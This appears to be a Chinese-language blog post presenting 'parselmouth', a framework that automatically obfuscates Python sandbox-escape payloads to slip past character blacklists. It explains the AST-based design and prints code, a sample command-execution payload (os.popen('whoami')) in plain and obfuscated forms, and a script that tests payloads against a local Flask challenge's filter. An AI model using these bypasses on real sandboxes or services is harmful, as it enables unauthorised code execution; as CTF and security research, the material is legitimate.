parselmouth —— 自动化的 Python 沙箱逃逸 payload bypass 框架
基本介绍
自从之前写了 souce 后,算是解决了绝大部分需要手搓 opcode 的情况;通过劫持 Python ast 的解析与生成就可以很方便地自动化进行 bypass,这个手段非常优雅。从那以后我就时不时在想似乎这个原理也可以用在 Python 沙箱逃逸上,这段时间终于下定决心开始抽空写一个 bypass 框架,这就是 parselmouth
我的目标是希望这个框架可以支持将类似 __import__('os').popen('whoami').read(),根据规则转为诸如 getattr(getattr(__import__(ᶜhr(111) + ᶜhr(115)[::-1][::-1]), ᶜhr(112) + ᶜhr(111) + ᶜhr(112) + ᶜhr(101) + ᶜhr(110)[::-1][::-1])(ᶜhr(119) + ᶜhr(104) + ᶜhr(111) + ᶜhr(97) + ᶜhr(109) + ᶜhr(105)[::-1][::-1]), ᶜhr(114) + ᶜhr(101) + ᶜhr(97) + ᶜhr(100)[::-1][::-1])() 的 payload,这样就不需要人工进行一些无聊的翻译或者是转换了;再此基础上,期望保留较好的扩展性,用来在特定情况下编写自定义的一些 bypass 手段。
原理
这里介绍一下主要的代码逻辑。如果你想自己动手写一个类似的框架,可以参考这里面的细节。
识别与生成 Python 代码
对于一段简单的 Python 代码来说,要做转换,最为直接的手段就是通过正则提取关键的代码然后填充到设定好的字符串中。但是这样在面对复杂嵌套的语句时就力不从心了,非常容易出现识别错误。
Python 的 ast 即抽象语法树,作为 Python 的官方库,ast 不但可以用来解析 Python 代码,还可以用来将抽象语法树还原成 Python 代码。在解析代码的时候可以做到 100% 与执行代码时是一个识别逻辑。通过翻阅 ast 的源码可知,类 NodeVisitor 定义了遍历语法树的方法 visit,这样我们就可以通过继承 NodeVisitor 或者其子类来实现定制化的 Python 代码生成逻辑。
以获取属性的运算符 . 为例子,我们可以在继承 ast._Unparser(用来生成 python 代码的类) 后写出下述代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 class P9H (ast._Unparser): ... def visit_Attribute (self, node ): def _by_raw (): self.set_precedence(ast._Precedence.ATOM, node.value) self.traverse(node.value) # Special case: 3.__abs__() is a syntax error, so if node.value # is an integer literal then we need to either parenthesize # it or add an extra space to get 3 .__abs__(). if isinstance (node.value, ast.Constant) and isinstance ( node.value.value, int ): self.write(" " )
self.write("." ) self.write(node.attr)
return self.try_bypass( dict ( bypass_tools.Bypass_Attribute( BLACK_CHAR, node, useless_func=self.useless_func, depth=self.depth, ).get_map(), **{"by_raw" : _by_raw}, ), node, )
...
其中 _by_raw 是 ast._Unparser 原本的代码生成方法,在发现不需要 bypass 的情况下可以直接使用原有的生成逻辑,这样可以提升效率,还可以避免强制进行 bypass 导致的成功率下降问题。最后 return 的语句中,通过传入 Attribute 专属的 bypass_funcs 进行 bypass 尝试。
定制化的 bypass 语句
生成一个 bypass 语句,本质上是对 Python 代码的生成逻辑进行 hack。
普通的 bypass 函数
在 bypass_tools.Bypass_Attribute 中,我们对“获取属性”这个动作进行定制化:
1 2 3 4 5 6 7 8 9 10 11 class Bypass_Attribute (_Bypass ): def __init__ (self, *args, **kwargs ): super ().__init__(*args, **kwargs) self.node._value = [getattr (self.node, "value" ), getattr (self.node, "attr" )] @recursion_protect def by_getattr (self ): return self.P9H( f"getattr({self.P9H(self.node._value[0 ]).visit()} , {repr (self.node._value[1 ])} )" , ).visit()
例如 payload 为 str.find,我们就可以通过 getatt 来避免使用 .
其他类型的 bypass 逻辑是大同小异的,按照不同类型的语法树,根据手工 bypass 的经验来制定对应的 bypass 手法即可。
嵌套 bypass
上面的代码中可以发现,by_getattr return 的结果中又出现了 P9H,这是因为由于处理 . 后会引入 getattr,因此就需要一个递归的结构继续处理新生成的 payload。因此对于生成的 payload,需要重新调用我们的 bypass 函数进行处理,这样可以非常优雅地处理需要嵌套 bypass 的情况。
但显然,这里会出现无限递归的问题。本质上,但这个现象出现的时候,调用链里会出现重复的 bypass 尝试,因此为了解决这个问题,一个最简单的方式就是在执行 bypass 的时候,先获取当前的调用链,分析历史调用中是否出现过相同的 bypass 尝试(主要是方法所属的类、方法名称、方法的参数),如果有的话就返回 None,视为放弃这个 bypass 尝试。由于每个 bypass 函数都需要加上这个逻辑,还需要保持后续新增 bypass 函数的便捷性,那必然使用装饰器就是最好的选择:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 def get_stack (): used_funcs = [] stack = inspect.stack() for frame_info in stack: # 获取当前层的上下文信息 frame = frame_info.frame arg_info = inspect.getargvalues(frame) class_name = "" if "self" in frame.f_locals: class_name = frame.f_locals["self" ].__class__.__name__
# 打印调用链中的函数名和参数 used_funcs.append( ( class_name, frame_info.function, {k: arg_info.locals [k] for k in arg_info.args}, ) )
return used_funcs
def recursion_protect (func ): @functools.wraps(func ) def _protect (self ): stack = [] for s in get_stack(): if not s[1 ].startswith("by_" ): continue
stack.append((s[0 ], s[1 ], s[2 ]["self" ].node._value))
if (self.__class__.__name__, func.__name__, self.node._value) in stack: # 本轮调用的 函数+参数 在调用链之前就出现过 # 说明不同的 bypass 函数之间出现了循环依赖 # 这个时候应该舍弃掉这个 bypass 函数 return None
return func(self)
return _protect
非常优雅的方案。
bypass num
此外,一个比较有趣的 bypass ast 的类型是数字。我实现了一个有趣的算法,这个算法的本质是解决:“给定一个目标数字、可用的运算符(+、-、*)、可用的单个数字(0-9 中的某几个),求一个运算式使得结果等于目标数字”。
我认为这种计算式的最简单结构是 (left, op, right),因此我的思路是先确定 left,然后遍历 op 后算出需要的 right,在递归重新计算如何得出 right,以此类推。op 与数字的遍历顺序从大到小,这样可以迅速地逼近目标数字,从而缩短运算式整体的长度,从而尽可能缩短最终 payload 的长度。在具体的实现上,有很多坑需要解决,例如给定的目标数字是 1,可用数字是 9、2、0,运算符是 -、+,如果不加以控制,非常容易出现无限递归:9 + 2 - 10 -> 9 + 2 + 2 - 12 ... 这个问题可以通过判定与目标数字的距离来解决,我们的计算肯定是希望距离目标数字越来越近的(不过这样的确是会漏掉一些可能性)。以及一些无效的运算:9 + 0 - 8 -> 9 + 0 + 0 - 8 ... 这类问题可以通过人工剪枝来解决。
最后,我发现我的算法在 left 是大数的情况下会有很大的性能问题。例如目标数字是 1000,可用的数字是 8,运算符为 +,那么可以得出运算式:8 + 8 + 8 + 88 + 888,观察这种情况可以得知,可用的数字可以由单个可用数组组合生成,这样即使只用 + 也可以非常迅速地逼近目标数字,但这个算法在可用数字较多的时候光是遍历所有组合都需要一段时间,并且先前设定的运算逻辑是先会计算 **,这个运算也是比较慢的。因此在具体的实现上我并没有采用这种算法,取而代之是如果发现 right 可以由可用数字组成,那么就直接返回,这样在提高速度的同时也会更高效。
当然,由于最终的算式可能性比较多,最优解根据实际情况也有所不同(例如是否允许括号?如何实现全局最短的算式长度?...),虽然我实现的算法有一定的局限性,但是我认为过滤数字在实际场景中并不常见,所以应该是够用了。
定制化开发
我在写 parselmouth 的时候,更多是希望写出一个 bypass 框架,因为 Python 沙箱逃逸绕过的手法非常多,对应场景也比较多(如 python 原生的 eval 类型、exec 类型;以及像 mako 等等自定义部分语法的模板;还有 jinja2/flask 这种几乎全部自定义语法的模板)。因此这里会重点做下定制化开发的介绍。
自定义 bypass 函数
以字符串 bypass 为例子,假设希望将 macr0phag3 转为自带 base64 解码语句 __import__('base64').b64decode(b'bWFjcjBwaGFnMw=='),则可以给 bypass_tools.py 的 Bypass_String 新增一个方法,命名以 by_ 开头:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import parselmouth as p9himport bypass_tools@bypass_tools.recursion_protect def by_base64 (self ): return self.P9H( f'__import__("base64").b64decode({__import__ ("base64" ).b64encode(self.node._value.encode())} )' ).visit()
bypass_tools.Bypass_String.by_base64 = by_base64 bypass_tools.Bypass_String.by_base64.__qualname__ = "Bypass_String.by_base64"
p9h.BLACK_CHAR = ["mac" , "::" , 'by_char' , "bytes" , "chr" , "dict" ] runner = p9h.P9H("'macr0phag3'" , specify_bypass_map={"white" : {"Bypass_String" : ["by_base64" ]}}, versbose=2 ) result = runner.visit() status, c_result = p9h.color_check(result)print (status, c_result, result)
运行结果如下:
同理,如果你想修改自带的 bypass 函数,也是通过 bypass_tools.Bypass_String.by_base64 = by_base64 这样赋值去覆盖即可。
自定义检查函数
在 parselmouth.py 中,check 函数用于检查生成的 payload 的可用性:
1 2 3 4 5 6 7 def check (payload ): if isinstance (payload, ast.AST): payload = ast.unparse(payload) # self.cprint(f"检查是否命中黑名单: {payload}", level="debug") return [i for i in BLACK_CHAR if i in str (payload)]
在实际的使用场景中,payload 往往需要通过网络请求的形式进行检查,例如目标是一个 web 应用,此时可能就需要通过 requests 来发送 payload,这个时候就可以继承 P9H,然后覆盖掉 check 方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import astimport timeimport requestsimport parselmouth as p9hdef check (payload ): if isinstance (payload, ast.AST): payload = ast.unparse(payload)
# self.cprint(f"检查是否命中黑名单: {payload}", level="debug") result = requests.post( "http://127.0.0.1:5000/challenge" , json={ "exp" : payload, } ).text time.sleep(0.1 ) # 防止过快导致 DoS if "hacker" in result: return [result] else : return []
p9h.check = check runner = p9h.P9H("__import__('os').popen('whoami').read()" , versbose=2 ) result = runner.visit() status, c_result = p9h.color_check(result)print (status, c_result, result)
测试用的 flask 代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from flask import Flask, request, jsonifyapp = Flask(__name__)
@app.route("/challenge" , methods=["POST" ] ) def check_exp (): data = request.json exp = str (data.get("exp" ))
if exp is None : return jsonify({"error" : "Missing 'exp' parameter" }), 400
forbidden_chars = ["'" , '"' , "." , "popen" ]
# 检查 'exp' 中是否含有不允许的字符 for char in forbidden_chars: if char in exp: return jsonify({"error" : f"hacker!" }), 400
# 如果检查通过,则返回确认信息 return jsonify({"message" : "Expression is valid" }), 200
if __name__ == "__main__" : app.run(debug=True )
结果如下:
常见 QA
为什么叫这个名字:python -> 蛇;bypass 沙箱 -> 逃离密室;特殊的语法 -> 蛇能听懂的话。这些跳跃的联想很容易关联到《哈利波特与密室》中频繁出现的 parselmouth(蛇佬腔)
可以用来 bypass flask 的 SSTI exp 么:不能。因为 flask 有自己的语法,参考这个项目其实可以写出类似的工具,后面可能考虑支持。
后续的工作:主要集中在 bypass 手法的收集,框架基本上是成型了,可能会有一些提高 check 函数效率的方法,等想好了再看怎么优化。
...
这似乎是第一个 Python 沙箱 bypass 框架